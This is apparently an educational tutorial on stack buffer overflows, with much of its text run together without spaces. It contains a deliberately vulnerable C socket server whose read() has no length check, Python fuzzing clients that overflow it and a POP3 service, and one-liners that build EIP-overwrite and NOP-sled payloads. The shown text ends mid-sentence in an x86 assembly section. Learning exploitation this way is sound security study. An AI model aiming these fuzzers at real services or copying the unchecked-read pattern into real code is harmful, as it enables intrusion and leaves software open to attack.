47032-buffer-overflows,-c-programming,-nsa-ghidra-and ...

63

Transcript of 47032-buffer-overflows,-c-programming,-nsa-ghidra-and ...

IntroductionThistutorialstartedasasimpleattempttotakenotesandfollowmycuriosityonCprogrammingAssemblyandBufferOverflowsworkDonrsquottakeanythinghereasgospelbecausethecontentwaswrittenbyahigh-schooldrop-outwithoutanyformalcomputersciencebackgroundIfyoufindsomethingwildlywrongthenletmeknowFromwhatIcantelloverallthisworkisdirectionallyaccurateThePoCandmuchofthecontentiscompiledandinspiredfromvariousCTFsOnlineVideosUPENNRensellerBlackhatpresentationsexploitresearchersonexploit-dbandmore ThisentirepaperlooksattechnologyfromtheperspectiveofsomeonewhoneedstolearnfromthegroundupAllthetutorialsandblogsonBufferOverflowseithershowabasicldquoInputdatahererdquoCprogramorusewellknownvendorproductsTherelittlementionontheCprogramminglanguageorthememoryprotectionswithinThereislittlementionofthepainoftakingpre-compiledbinariesthatyoudidnotwriteandattemptingoffuzzitreverseengineeritandunderstanditbeforethrowingyourgarbageattheprogramMosttutorialsdivestraightintointimidatingdebuggersGUIswithoutstartinginasimpleGDBscreenneverforcingtheusertothinkaboutwhattheyneedtoseeAlltheblogstutorialsandtrainingtellsyoutodisablemodernmemoryandstackprotectionswithoutexplainingthecriticallyofthemandthedifficultyofdevelopingasuccessfulexploitinthemodernworldAndthereislittleinterdisciplinarymentionofimplementingtheprotectiveanddetectivetechnologythatrelatestothebufferoverflow Allthisleavesthetechnologynew-comerwildlyunpreparedortheleastblissfullyignorantincludingmyselfIntheunlikelychancethatsomeonestartingtheircareerstumblesuponthispaperonlineIhopeyoufindthatitishistoricallyasuselessasthepapersandtutorialsthatcamebeforeitIhopeitinspiresyoutolearnmoreandbuilduponandcorrectitThereisnomoneyinvolvedherenocorporatesponsorshipnoeduhomeworkoranythinglikethatJustsomeonewholoveslearningwhowroteitalldown Ifyoursquorefoolishorboredenoughtogoanyfurtherwhatwillyoufind

1 BasicsofCSocketprogramming2 CSocketprogramcodewInlinecommentsonhowtowriteaSocketprograminC3 BasicfuzzerdevelopmentinPython4 Basicofreverseengineeringpre-compiledBinariesfoundonlinewithNSAGHIDRA5 BasicsofusingGBDandEDBdebuggers6 Intromaterialonx86AssemblyandMemory7 CrashingtheStack(BufferOverflowPoC)8 StaticAnalysisofInsecureFunctionsinC9 BasicsontheMitigationstoBufferOverflows10 BasicsonBypassingBufferOverflowMitigations11 BasicsonDetectingBufferOverflowsandPostexploitactivity

S3csM

BasicsonSocketProgramminginCincludeTheincludeiscalledapre-processordirectiveWhenyoucompileaCorC++programoneofthefirstthingsCdoesisuseapre-processorandfindthecharactersTheincludedirectiveinsertsthecontentsofanotherfileintothatspotinthesourcecodeThinkofitlikesourcinganydependentClibrariesUsuallythisisaheaderfile(hextension)thatdefinesvariabletypesorfunctionsSincetheincludedfilesnameissurroundedbyltandgtitmeansitslocatedinthestandardincludepathandnotwiththerestofthesourcefilesincludeltstdiohgtInputandOutputoperationscanalsobeperformedinC++usingtheCStandardInputandOutputLibrary(cstdioknownasstdiohintheClanguage)ThislibraryuseswhatarecalledstreamstooperatewithphysicaldevicessuchaskeyboardsprintersterminalsorwithanyothertypeoffilessupportedbythesystemStreamsareanabstractiontointeractwiththeseinauniformwayAllstreamshavesimilarpropertiesindependentlyoftheindividualcharacteristicsofthephysicalmediatheyareassociatedwithincludeltstdlibhgtThisheaderdefinesseveralgeneralpurposefunctionsincludingdynamicmemorymanagementrandomnumbergenerationcommunicationwiththeenvironmentintegerarithmeticssearchingsortingandconvertingrsquoincludeltstringhgtThisheaderfiledefinesseveralfunctionstomanipulateCstringsandarraysEgCopyingconcatenationcomparisonetcincludeltsyssockethgtThisheaderfileprovidesgeneralfunctionalityforsocketprogrammingAsocketisageneralizedinterprocesscommunicationchannelLikeapipeasocketisrepresentedasafiledescriptorUnlikepipessocketssupportcommunicationbetweenunrelatedprocessesandevenbetweenprocessesrunningondifferentmachinesthatcommunicateoveranetworkSocketsaretheprimarymeansofcommunicatingwithothermachinestelnetrloginftptalkandtheotherfamiliarnetworkprogramsusesocketsincludeltnetinetinhgtTheheaderfileinhcontainsconstantsandstructuresneededforinternetdomainaddressesincludeltunistdhgtThisheaderfilewillprovidevariousconstanttypeandfunctiondeclarationsthatcomprisethePOSIXoperatingsystemAPI

SourceCodetoVulnerableServerandPythonClientcanbefoundhelliphttpsgithubcomsecSandmanBuffer_Overflow_PoC_C_LinuxTheclientPoCpyandclientpyfileswillbeusedtofuzzandattackthevulnerableprogramLaterwersquollexplainwhatandwhyFornowthisisjustanexampleforthosewhowanttodiverightinandworkbackwards

clientPoCpy

usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=

Serverexpectsapre-fixtellingyouthebuffersizeThiswillhelpustroubleshootintheserverterminal

raw+=structpack(ltIlen(MESSAGE))raw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()

printReceiveddatadata

ThevulnerableServercisthevulnerableCprogramThesourcecodewillexplainthewhatandthewhyofthecodeincaseyouwanttobuildyourownprogramLaterwecoverothervulnerableCfunctionsFornowthisisjustanexampleforthosewhowanttodiverightinandworkbackwards

VulnerableServerwcommentsonSocketCprogramminginC

AvulnerablenetworkapplicationCtoshowthebasicsoverflowingabufferandwritingasimpleSocketProgram(-8Thankstotaishi8117forthesourcecodeandopensourcingthecodeIupdatedtheServertoruncontinuouslysoyoucanwriteaniterativefuzzeronitPreviouslytheserverterminatedprocessafterthefirstserverresponseThankstoRensellarCollegeandUPENNforleavingyourCCprogrammingmaterialforfreeonthepublicinternetincludeltstdiohgtincludeltstdlibhgtincludeltstringhgtincludeltsystypeshgtincludeltsyssockethgtincludeltnetinetinhgtincludeltunistdhgtincludeltsignalhgtdefinesamacronamedBUFFER_BOUNDARY_SIZEasanabbreviationforthetoken1024HEADER_SIZEisuniquetothisapplicationandisapre-fixedstringaddedtothemessageblockdefineBUFFER_BOUNDARY_SIZE1024defineHEADER_SIZE4Macrowillinsertbuffersizeof1024intocharbuffersettingourbuffersizeto1024bytesvoidvuln_read(intcli_fd)Theserverreadscharactersfromthesocketconnectionintothisbuffercharbuffer[BUFFER_BOUNDARY_SIZE]Assumingthatincomingclientheaderisinlittleendiantheserverwillthenreadthefirst4bytestogetaclientprovidedpre-fixstringstatinghowmanybytestotheclientisprovidingintto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)

-----------------WARNING------------------------intread_bytes=read(cli_fdbufferto_read)hasabufferoverflowvulnerabilitybecauseto_readcanbemuchlargerthanthemacrodefined1024Thatsbecausethereisnobytelengthvalidationonto_readbeforeweplaceintobufferof1024meh intread_bytes=read(cli_fdbufferto_read)printf(Readdbytesnread_bytes)printf(Incomingmessagesnbuffer)intmain(intargccharargv)if(argclt2)printf(Usages[port]nargv[0])exit(1)sockfdisafiledescriptorsiearraysubscriptsintothefiledescriptortableThesetwovariablesstorethevaluesreturnedbythesocketsystemcallandtheacceptsystemcallportstorestheportnumberonwhichtheserveracceptsconnectionscli_lenstoresthesizeoftheaddressoftheclientThisisneededfortheacceptsystemcallintportsock_fdcli_fdsocklen_tcli_lenAsockaddr_inisastructurecontaininganinternetaddressThisstructureisdefinedinltnetinetinhgtstructsockaddr_inserv_addrcli_addrThesocket()systemcallcreatesanewsocketIttakesthreeargumentsThefirstistheaddressdomainofthesocketRecallthattherearetwopossibleaddressdomainstheunixdomainfortwoprocesseswhichshareacommonfilesystemandtheInternetdomainforanytwohostsontheInternetThesymbolconstantAF_UNIXisusedfortheformerandAF_INETforthelatter(thereareactuallymanyotheroptionswhichcanbeusedhereforspecializedpurposes)ThesecondargumentisthetypeofsocketRecallthattherearetwochoiceshereastreamsocketinwhichcharactersarereadinacontinuousstreamasiffromafileorpipeandadatagramsocketinwhichmessagesarereadinchunksThetwosymbolicconstantsareSOCK_STREAMandSOCK_DGRAMThethirdargumentistheprotocolIfthisargumentiszero(anditalwaysshouldbeexceptforunusualcircumstances)theoperatingsystemwillchoosethemostappropriateprotocolItwillchooseTCPforstreamsocketsandUDPfordatagramsocketsThesocketsystemcallreturnsanentryintothefiledescriptortable(ieasmallinteger)ThisvalueisusedforallsubsequentreferencestothissocketIfthesocketcallfailsitreturns-1InthiscasetheprogramdisplaysanderrormessageandexitsHoweverthissystemcallisunlikelytofailThisisasimplifieddescriptionofthesocketcalltherearenumerousotherchoicesfordomainsandtypesbutthesearethemostcommonsock_fd=socket(AF_INETSOCK_STREAM0)

if(sock_fdlt0)printf(Erroropeningasocketn)exit(1)Anin_addrstructuredefinedinthesameheaderfilecontainsonlyonefieldaunsignedlongcalleds_addrforserveraddressThevariableserv_addrwillcontaintheaddressoftheserverandcli_addrwillcontaintheaddressoftheclientwhichconnectstotheserverTheportnumberonwhichtheserverwilllistenforconnectionsispassedinasanargumentandthisstatementusestheatoi()functiontoconvertthisfromastringofdigitstoanintegerport=atoi(argv[1])serv_addrsin_family=AF_INETserv_addrsin_addrs_addr=INADDR_ANYserv_addrsin_port=htons(port)Thebind()systemcallbindsasockettoanaddressinthiscasetheaddressofthecurrenthostandportnumberonwhichtheserverwillrunIttakesthreeargumentsthesocketfiledescriptortheaddresstowhichisboundandthesizeoftheaddresstowhichitisboundThesecondargumentisapointertoastructureoftypesockaddrbutwhatispassedinisastructureoftypesockaddr_inandsothismustbecasttothecorrecttypeThiscanfailforanumberofreasonsthemostobviousbeingthatthissocketisalreadyinuseonthismachineif(bind(sock_fd(structsockaddr)ampserv_addrsizeof(serv_addr))lt0)printf(Erroronbind()n)exit(1)ThelistensystemcallallowstheprocesstolistenonthesocketforconnectionsThefirstargumentisthesocketfiledescriptorandthesecondisthesizeofthebacklogqueueiethenumberofconnectionsthatcanbewaitingwhiletheprocessishandlingaparticularconnectionThisshouldbesetto5themaximumsizepermittedbymostsystemsIfthefirstargumentisavalidsocketthiscallcannotfailandsothecodedoesntcheckforerrors printf(Waitingforaconnectionn)listen(sock_fd1)while(1)infiniteloopTheaccept()systemcallcausestheprocesstoblockuntilaclientconnectstotheserverThusitwakesuptheprocesswhenaconnectionfromaclienthasbeensuccessfullyestablishedItreturnsanewfiledescriptorandallcommunicationonthisconnectionshouldbedoneusingthenewfiledescriptorThesecondargumentisareferencepointertotheaddressoftheclientontheotherendoftheconnectionandthethirdargumentisthesizeofthisstructurecli_len=sizeof(cli_addr)cli_fd=accept(sock_fd(structsockaddr)ampcli_addrampcli_len)if(cli_fdlt0)printf(Erroronaccept()n)exit(1)printf(Connectionacceptedn)

vuln_read(cli_fd)charmessage[]=HellotheretrytoPwnmeifyourea1773H4x0rlolznwrite(cli_fdmessagestrlen(message))close(cli_fd)sleep(1)return0

BasicsofFuzzingLetrsquosgetonethingoutofthewayIambynomeansamasteroffuzzingLikethisentiredocumentIonlywritetore-enforcemyownpersonallearningandmaybehaveausefulreferenceformyselforfriendslaterPerOWASPldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoThereare3generictypesoffuzzers

ApplicationFuzzers ProtocolFuzzers FileFormattingFuzzers

TolearnthecoreconceptsIstartedbytakingapurestapproachandlearningthebasicsoffuzzingwithmanualcommand-lineandalittlebitofpythonAllyouneedisthegeneralcuriosityofldquoWhathappenswhenItypethisinrdquoHoweverwhendealingwithlargebuffersorvariouscombinationandpermutationyoumayneedtowritesomeforandwhileloopsinascriptinglanguageorusedpre-computedwellknownbadparameterlistslikethosefoundherehttpsgithubcomdanielmiesslerSecListstreemasterFuzzing

FuzzingforOverflows-GettheArsquosBrsquosandCrsquosAsimpleandwellknownpythonexamplecanbefoundfloatingaroundGithubandBlogstoexploitanoldPOP3serverOfcourseyouneedtoknowsomebasicsofthePOP3protocolcommandThebelowcodeisagoodexampleofgrowingavalueinbyte-sizebeyondtheallocatedmemorysizeThisexampledoesntfocusonfuzzingldquoWebapplicationrdquoresponsesbutinsteadfocusesonsimplebytesizebasedbufferoverflowEventuallytheapplicationcrasheswithasegmentationfaultwhen

FuzzerBuffergtApplicationBuffer

WersquolluseabunchofArsquosBrsquosandCrsquostolocatethespaceinmemorywehavewrittenintoYoucanpickwhatevervaluesyouwantbutstartingwritingoutafewwellknownHEXcodesmakesiteasyforanooblikemyselftoseewhendiggingintothestackandbufferduringdebuggingHereareacouplepiecesofPythonscriptthatcanbere-usedforvariousoccasionsusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((19216801110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()AnotherexamplemightbetogeneraterandomAlphaNumericvaluestothrowatyourapplicationargumentsThevalueofperformingthisofthismightdependonwhattypeofbehavioryourtryingtoinvokeimportsysfromrandomimportrandintsamplefromfuzzerimportFuzzerclassAlphaNumericFuzzer(Fuzzer)Afuzzerthatproducesunstructuredalphanumericoutputdef__init__(selfmin_lengthmax_length)super()__init__()self_min_length=min_lengthself_max_length=max_lengthself_alphabet=set(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789)propertydefmin_length(self)returnself_min_length

propertydefmax_length(self)returnself_max_lengthdefgenerate(self)data=[]start=selfmin_lengthend=0ifselfmax_lengthisnotNoneend=randint(startselfmax_length)elseend=randint(startsysmaxsize)foriinrange(startend)dataappend(sample(self_alphabet1)[0])self_casesappend(join(data))returnjoin(data)AnothersimplecommandforthemanualtestinginthisPoCareasfollowspython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]DonrsquotworryifthesecommandsareconfusingwersquorebuildinguptoexamplesThegoalhereistolearntowriteBOmalwareReversecompiledBbinarieshowtowritethebasicsoflowlevelCprogrammingSocketProgrammingandAssemblyHoweverthereareplentyofldquopre-definedrdquolistsofwellknownbadparameterstopassintoinputfieldsandheadersviaallsortsofWeb-AppproxytoolsMaybeforanothertimeIntelligentvsDumbFuzzingIjustgotoutofanembeddedsystemexploitationclasstaughtbysomebrilliantexploitresearchersanddevelopersfromRaytheonMartinHodoakaldquoShellcodeMercenaryrdquosaidsomethingIthoughtwasagreatstickingpointldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoInthisexampleweareluckyenoughtohaveaccesstosomesourcecodeThereisagoodexampleinthesourcecodethatprovesMartinrsquospointServer-SideSourceCodeExampledefineHEADER_SIZE4charbuffer[BUFFER_BOUNDARY_SIZE]intto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)

Client-SideCodeCodeExampledefconvert(message)raw=raw+=structpack(ltIlen(message))raw+=messagereturnrawWhyisthisimportantWhatpointdoesthisillustrateMyhumbleopinionisthattheapplicationmaybeexpectingaveryparticularsetofstringsbeforeprocessinganydatainthebufferitselfForexamplemaybethesocketyourcommunicatingisexpectingsomesortofpreamble2byteflagsorevenasimpleldquoHellordquoprefixMorerealisticallytheclientcouldsendsometypeofuniqueOSflagClientVersionFlagHelloorwhoknowswhatInthiscasethereisanexpectationthatthefirst4byteswillincludethelengthoftheclientpayloadThelengthoftheclientpayloadisofcoursecalculatedbythepythonclientAdnthatrsquosjustaweirdnuanceofthiscodeandprobablynoothercodeSoifyoutrytoconnectdirectlytothesocketandthrowaldquoBunchofArsquosrdquoatthelistenermaybetheldquoAsrdquowillgettothenextfunctionfortheoverflowORmaybetheldquoArsquosrdquowonrsquotevenmakeitbecauseofsomemissingpre-fixlogicstuffthatisuniquetotheapplicationExampleofOverflowcrashusingPrefix

InthiscasewewereluckyandourldquoArsquosrdquoorldquox41rdquomadeitthroughandoverwrotetheinstructionpointerThismaynotmeanmuchtothosenewtotheBufferOverflowconceptbutdonrsquotworrybecausethepointisldquothehackworkedrdquobecauseweknewtheservicewasexpectinga4byteofprefixThemoreyouunderstandwhattheapplicationexpectsthemorelikelyyouaregettingintodeeperpartsinthecode Nowletrsquostakealookatblindlyfuzzingwithoutunderstandingtheclient-serversourcecode

ExampleofOverflowusingBlindNecatTelnetpayloadwithoutthePrefix

WhathappenedhereItwouldappearthatwesentthesamenumberofldquoArsquosrdquototheprogrambutweexitednormallyanddidnotreceiveasegmentationfaultattheinstructionpointerWhyWellwithoutknowingthesourcecodewecanrsquotreallysayAlthowecanguessthatwithouttheldquoPrefixrdquobytesthenwearenotover-writingthestackenoughandneedmoreldquoArsquosrdquoAlsolookhowtheldquoWillReadrdquoandldquoReadrdquoseemstobeallwhackyandnotmakemuchsensePreviouslytheclientpyscriptsentthestringldquo1050rdquointhemessageandtheservertolduswesent1050bytesbutonlybecauseldquo1050rdquostringwasprefixedontothemessageviatheclientSincethenetcatcommanddoesnrsquothavethatlogictheldquoprefixrdquoismissingandourserversidecodedoesnrsquotknowwhattodoThiscouldresultinsomelogicfailureearlyinthesourcecodekeepingyoufromfeedingthoseldquoArsquosrdquointoavulnerablefunctionthathidesdeeperinthestackwaitingforajuicy0-day(-

ReversingCompiledBinariesInthecaseoftheexampleclientpywegetluckyandcansimplyreverseengineerthepythonsourcecodeIfweweredealingwithacompiledclientbinarythenIrsquodsaystartwithldquofilerdquoandldquostringsrdquocommandandthenmoveontode-compliationLetrsquostryfileandstringsonourserversidecompiledcodejustforkicks

WecanseeitsacompiledELFbinarythepre-processordirectivebeingusedandlaterinthestdoutofstringcommandwecanseethestringtheprintfgivesusRememberifweonlyhadthecompiledbinariestoworkwiththensuccessfullyfuzzingthisapplicationmaygiveusproblemsbecauseoftheunknownldquoprefixrdquothatisappendedtotheclientpymessageSohowdowefigurethisoutifwedonthaveaccesstothesource-codeNSAGHIDRAtotheRescueOurfriendsattheNSArecentlyannouncedwhatIconsideraprettykickasstoolGHIDRAToquotedirectlyfromWIKIldquoGhidraisafreeandopensourcereverseengineeringtooldevelopedbytheNationalSecurityAgency(NSA)ThebinarieswerereleasedatRSAConferenceinMarch2019thesourceswerepublishedonemonthlateronGitHubGhidraisseenbymanysecurityresearchersasacompetitortoIDAProandJEBDecompilerrdquo

LetrsquossayonewayoranotherwegetourhandsonsomecompiledclientorserverbinariesandneedtodoadeepdivemaybetodevelopourownmyintelligentfuzzerWhatmightthatlooklikeDownloadtheGhidrasourcecompileandrunThensimplyimportyourbinaryThatrsquosit

YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems

WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC

ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes

Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode

FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch

CrashingtheStackFinallyrightitrsquosalongstrangetripSo

WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments

Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload

Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip

TheScarydebuggerUI

IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners

NativeEDBinTerminal

OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes

1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection

2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater

3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired

4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault

5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer

6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly

MemoryArchitecture

RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy

detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus

Generalregisters Controlregisters Segmentregisters

Thegeneralregistersarefurtherdividedintothefollowinggroups

Dataregisters Pointerregisters Indexregisters DataRegisters

DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit

1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters

AHALBHBLCHCLDHandDL

Someofthesedataregistershavespecificuseinarithmeticaloperations

AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in

multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand

BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing

CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations

DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with

DXformultiplyanddivideoperationsinvolvinglargevalues

PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP

Therearethreecategoriesofpointerregisters

Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be

executed IP in association with the CS register (as CSIP) gives the complete address of the current

instruction in the code segment NOTES IP will control the next instruction executed hellip like say our

malware

Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in

association with the SS register (SSSP) refers to be current position of data or address within the program

stack NOTES Might give you a reference point to look higher in memory to find our malware in

bufferNOPsledaddresses

Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a

subroutine The address in SS register is combined with the offset in BP to get the location of the parameter

BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer

tracks the memory location between your Dynamic Variables and registers and your buffer etc BP

isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer

Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated

and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational

codestostartwiththatmostoverflowstutorialsseemtoincludehellip

Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures

following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end

andcomebacktoreading

ControlFlowInstructions

The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the

currentinstructionstarts

Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be

manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions

We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code

textbyenteringalabelnamefollowedbyacolonForexample

movesi[ebp+8]

beginxorecxecx

moveax[esi]

The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this

instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing

thelocationinsteadofits32-bitvalue

jmpmdashJump

Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into

amemorylocationthatishostingthemalware

Syntax

jmpltlabelgt

Example

jmpbeginmdashJumptotheinstructionlabeledbegin

callretmdashSubroutinecallandreturn

These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the

hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code

location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when

thesubroutinecompletes

The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported

in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of

